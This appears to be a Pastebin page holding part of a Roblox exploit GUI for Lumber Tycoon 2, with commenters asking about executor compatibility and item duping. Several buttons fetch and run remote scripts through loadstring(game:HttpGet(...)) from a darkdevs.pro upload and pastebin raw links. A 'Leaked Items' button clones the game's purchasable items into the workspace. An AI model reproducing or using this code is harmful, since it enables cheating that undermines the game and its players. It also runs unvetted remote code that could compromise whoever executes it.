- FunStuffHOVER.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/Hoverboard.txt',true))()
- end)
- FunStuffTHOMAS.Name = "FunStuffTHOMAS"
- FunStuffTHOMAS.Parent = LT2GUI2Frame
- FunStuffTHOMAS.BackgroundColor3 = Color3.new(0, 0, 0)
- FunStuffTHOMAS.BorderColor3 = Color3.new(0, 0, 0)
- FunStuffTHOMAS.Position = UDim2.new(0, 3, 0, 26)
- FunStuffTHOMAS.Size = UDim2.new(0, 165, 0, 20)
- FunStuffTHOMAS.Font = Enum.Font.Fantasy
- FunStuffTHOMAS.FontSize = Enum.FontSize.Size18
- FunStuffTHOMAS.Text = "Thomas The Tank"
- FunStuffTHOMAS.TextColor3 = Color3.new(255, 0, 0)
- FunStuffTHOMAS.TextSize = 15
- FunStuffTHOMAS.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('http://pastebin.com/raw/tMr759X7',true))()
- end)
- FunStuffPOLICE.Name = "FunStuffPOLICE"
- FunStuffPOLICE.Parent = LT2GUI2Frame
- FunStuffPOLICE.BackgroundColor3 = Color3.new(0, 0, 0)
- FunStuffPOLICE.BorderColor3 = Color3.new(0, 0, 0)
- FunStuffPOLICE.Position = UDim2.new(0, 3, 0, 49)
- FunStuffPOLICE.Size = UDim2.new(0, 165, 0, 20)
- FunStuffPOLICE.Font = Enum.Font.Fantasy
- FunStuffPOLICE.FontSize = Enum.FontSize.Size18
- FunStuffPOLICE.Text = "Police Man"
- FunStuffPOLICE.TextColor3 = Color3.new(255, 0, 0)
- FunStuffPOLICE.TextSize = 15
- FunStuffPOLICE.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/FR9Fzcqw',true))()
- end)
- FunStuffSPRAY.Name = "FunStuffSPRAY"
- FunStuffSPRAY.Parent = LT2GUI2Frame
- FunStuffSPRAY.BackgroundColor3 = Color3.new(0, 0, 0)
- FunStuffSPRAY.BorderColor3 = Color3.new(0, 0, 0)
- FunStuffSPRAY.Position = UDim2.new(0, 3, 0, 72)
- FunStuffSPRAY.Size = UDim2.new(0, 165, 0, 20)
- FunStuffSPRAY.Font = Enum.Font.Fantasy
- FunStuffSPRAY.FontSize = Enum.FontSize.Size18
- FunStuffSPRAY.Text = "Spray Can"
- FunStuffSPRAY.TextColor3 = Color3.new(255, 0, 0)
- FunStuffSPRAY.TextSize = 15
- FunStuffSPRAY.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('http://pastebin.com/raw/raYkCjyy',true))()
- end)
- FunStuffCOCA.Name = "FunStuffCOCA"
- FunStuffCOCA.Parent = LT2GUI2Frame
- FunStuffCOCA.BackgroundColor3 = Color3.new(0, 0, 0)
- FunStuffCOCA.BorderColor3 = Color3.new(0, 0, 0)
- FunStuffCOCA.Position = UDim2.new(0, 3, 0, 95)
- FunStuffCOCA.Size = UDim2.new(0, 165, 0, 20)
- FunStuffCOCA.Font = Enum.Font.Fantasy
- FunStuffCOCA.FontSize = Enum.FontSize.Size18
- FunStuffCOCA.Text = "Coca Cola"
- FunStuffCOCA.TextColor3 = Color3.new(255, 0, 0)
- FunStuffCOCA.TextSize = 15
- FunStuffCOCA.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/nMu90Kdq',true))()
- end)
- FunStuffLEAKED.Name = "FunStuffLEAKED"
- FunStuffLEAKED.Parent = LT2GUI2Frame
- FunStuffLEAKED.BackgroundColor3 = Color3.new(0, 0, 0)
- FunStuffLEAKED.BorderColor3 = Color3.new(0, 0, 0)
- FunStuffLEAKED.Position = UDim2.new(0, 3, 0, 118)
- FunStuffLEAKED.Size = UDim2.new(0, 165, 0, 20)
- FunStuffLEAKED.Font = Enum.Font.Fantasy
- FunStuffLEAKED.FontSize = Enum.FontSize.Size18
- FunStuffLEAKED.Text = "Leaked Items"
- FunStuffLEAKED.TextColor3 = Color3.new(255, 0, 0)
- FunStuffLEAKED.TextSize = 15
- FunStuffLEAKED.MouseButton1Down:connect(function()
- game.ReplicatedStorage.Purchasables:Clone().Parent = game.Workspace.PlayerModels
- end)
- FunStuffFLASH.Name = "FunStuffFLASH"
- FunStuffFLASH.Parent = LT2GUI2Frame
- FunStuffFLASH.BackgroundColor3 = Color3.new(0, 0, 0)
- FunStuffFLASH.BorderColor3 = Color3.new(0, 0, 0)
- FunStuffFLASH.Position = UDim2.new(0, 3, 0, 141)
- FunStuffFLASH.Size = UDim2.new(0, 165, 0, 20)
- FunStuffFLASH.Font = Enum.Font.Fantasy
- FunStuffFLASH.FontSize = Enum.FontSize.Size18
- FunStuffFLASH.Text = "Flash Light"
- FunStuffFLASH.TextColor3 = Color3.new(255, 0, 0)
- FunStuffFLASH.TextSize = 15
- FunStuffFLASH.MouseButton1Click:Connect(function()
- FunStuffFLASH.BackgroundColor3 = Color3.new(0.14902, 0.490196, 0.109804)
- -- Created by supersonicfan111
- local p=game:GetService"Players".LocalPlayer
- local c=p.Character
- local surf='SmoothNoOutlines'
- if not c then error'Cannot find character, please respawn, then rerun the script' end
- -- Flashlight Handle
- local hand=Instance.new"Part"
- hand.BrickColor=BrickColor.DarkGray()
- hand.Parent=c
- hand.Anchored=false
- hand.Locked=true
- hand.CanCollide=false
- hand.FormFactor='Custom'
- hand.Size=Vector3.new(1,1,2)
- hand.TopSurface,hand.BottomSurface=surf,surf
- -- Torch Effect
- local fe=Instance.new"Part"
- fe.BrickColor=BrickColor.new"Black"
- fe.Parent=c
- fe.Anchored=false
- fe.Locked=true
- fe.CanCollide=false
- fe.FormFactor='Custom'
- fe.Size=Vector3.new(.8,.8,.2)
- fe.TopSurface,hand.BottomSurface=surf,surf
- -- Welding stuff
- -- Flash to Right Arm
- local weld1=Instance.new"Weld"
- weld1.Parent=hand
- weld1.Part0=hand
- weld1.Part1=c['Right Arm']
- weld1.C0=CFrame.new(0, 1.5, 0)
- -- Torch Effect to Flash
- local weld2=Instance.new"Weld"
- weld2.Parent=hand
- weld2.Part0=hand
- weld2.Part1=fe
- weld2.C0=CFrame.new(0, 0, 1)
- -- Right Arm Weld
- local ra=Instance.new"Weld"
- ra.Parent=c['Torso']
- ra.Part0=c['Right Arm']
- ra.Part1=c['Torso']
- ra.C0=CFrame.new(-1.5,1,0)*CFrame.Angles(math.rad(180),0,0)
- -- Flashlight Functionality
- local flashlightOn = false
- local Battery=50
- -- Handles turning the flashlight on/off
- p:GetMouse().Button1Down:connect(function()
- flashlightOn=not flashlightOn
- if flashlightOn then
- fe.BrickColor=BrickColor.new"New Yeller"
- light=Instance.new"SurfaceLight"
- light.Parent=fe
- light.Range=1000
- light.Face="Back"
- light.Brightness=10
- fe.Material="Neon"
- else
- fe.BrickColor=BrickColor.new"Black"
- if light then light:destroy() end
- fe.Material="SmoothPlastic"
- end
- end)
- -- Battery Modules
- -- Depleting and Charging
- spawn(function()
- while wait(1) do
- if flashlightOn then
- if Battery > 0 then
- Battery=Battery-1
- end
- else
- if Battery < 100 then
- Battery=Battery+1
- end
- end
- print(Battery)
- end
- end)
- -- Turning off flashlight if the battery is too low
- spawn(function()
- while wait() do
- if Battery <= 0 then
- flashlightOn=false
- if light then light:destroy() end
- fe.BrickColor=BrickColor.new"Black"
- fe.Material="SmoothPlastic"
- end
- end
- end)
- local stepped = game:GetService'RunService'.RenderStepped
- end)
- FunStuffReset .Name = "FunStuffReset "
- FunStuffReset .Parent = LT2GUI2Frame
- FunStuffReset .BackgroundColor3 = Color3.new(0, 0, 0)
- FunStuffReset .BorderColor3 = Color3.new(0, 0, 0)
- FunStuffReset .Position = UDim2.new(0, 3, 0, 164)
- FunStuffReset .Size = UDim2.new(0, 165, 0, 20)
- FunStuffReset .Font = Enum.Font.Fantasy
- FunStuffReset .FontSize = Enum.FontSize.Size18
- FunStuffReset .Text = "Reset Character"
- FunStuffReset .TextColor3 = Color3.new(255, 0, 0)
- FunStuffReset .TextSize = 15
- FunStuffReset.MouseButton1Click:connect(function()
- game.Players.LocalPlayer.Character.Head:Destroy()
- end)
- local Menus = {
- [Player] = PlayerFrame;
- [Teleport] = Waypoints;
- [AIntroImage] = BloodFrameInfo;
- [Woodmenu] = WoodFrame;
- [Copymenu] = CopyFrame;
- [PaintFill] = PaintFills;
- [Artmenu] = ArtFrame;
- [toolamenu] = toolaFrame;
- [Buymenu] = BuyFrame;
- [Btoolamenu] = LT2GUI2Frame;
- }
- for button,frame in pairs(Menus) do
- button.MouseButton1Click:connect(function()
- if frame.Visible then
- frame.Visible = false
- return
- end
- for k,v in pairs(Menus) do
- v.Visible = v == frame
- end
- end)
- end
- local Menusa = {
- [Paint] = MenuFramea;
- }
- for button,frame in pairs(Menusa) do
- button.MouseButton1Click:connect(function()
- if frame.Visible then
- frame.Visible = true
- return
- end
- for k,v in pairs(Menusa) do
- v.Visible = v == frame
- end
- end)
- end
- --- Open/Close ---
- Open.MouseButton1Down:connect(function()
- OpenFrame.Visible = false
- MainFrame.Visible = true
- end)
- Minimize.MouseButton1Down:connect(function()
- MainFrame.Visible = false
- OpenFrame.Visible = true
- end)
- CloseBLOOD.MouseButton1Down:connect(function()
- BLOOD:destroy()
- end)
- --bring up menu
- CurrentItem.MouseButton1Click:Connect(function()
- if Picker.Visible == false then
- Picker.Visible = true
- else
- Picker.Visible = false
- end
- end)
- end)
- -- Scripts:
Advertisement
Comments
-
- Is it JJSploit Friendly?
-
- no
-
- does it have dupe function?
-
- yeah
-
- dont post it if it doesnt work idiot
Add Comment
Please, Sign In to add comment
Advertisement